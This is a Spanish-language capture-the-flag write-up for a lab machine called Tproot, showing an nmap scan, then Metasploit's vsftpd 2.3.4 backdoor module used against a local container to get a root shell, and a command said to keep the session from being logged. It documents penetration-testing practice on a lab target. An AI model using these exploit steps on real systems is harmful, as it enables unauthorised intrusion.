> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-muy-faciles/tproot-write-up.md).

# Tproot write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/j8s2hCqLjqztlMjL3gHF" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos la herramienta **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/ZS8u7HRgLvbqG2vatrk0" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 21 (FTP) y el 80 (HTTP) están abiertos. Sin embargo, lo importante del escaneo es que se está usando una versión del servicio FTP vulnerable (vsftpd 2.3.4). Así que vamos a usar la herramienta **metasploit** para explotar esta vulnerabilidad. Primero ejecutamos el comando `msfconsole`.

```bash
msfconsole
```

Y una vez dentro ejecutamos el siguiente comando para buscar payloads:

```bash
search vsftpd 2.3.4
```

<figure><img src="/files/7hHZvreJFY6qilveWw6Z" alt=""><figcaption></figcaption></figure>

Ahora escribimos `use 0` para usar el payload llamado `exploit/unix/ftp/vsftpd_234_backdoor`, con el cual consiguiéremos un backdoor, y ejecutamos el comando `show options` que nos mostrara que datos necesita el payload para funcionar.

```bash
use 0
show options
```

<figure><img src="/files/gftSM0MjY2CiAt3RDsbV" alt=""><figcaption></figcaption></figure>

Y vemos que nos pide la IP de la máquina víctima, así que se la indicamos con el siguiente comando `set RHOSTS 172.17.0.2` .

```bash
set RHOSTS 172.17.0.2
```

Y por último ejecutamos el comando `run` para ejecutar el payload.

```bash
run
```

<figure><img src="/files/LtxqBqIBMQESYzWOizr4" alt=""><figcaption></figcaption></figure>

Y ya habríamos obtenido una reverse shell con privilegios elevados. Si queremos añadir un prompt y que no quede registrada la sesión podemos ejecutar el siguiente comando:

```bash
script /dev/null -c bash
```

<figure><img src="/files/Igx1UNLi3j4fQyNgx9Cu" alt=""><figcaption></figcaption></figure>
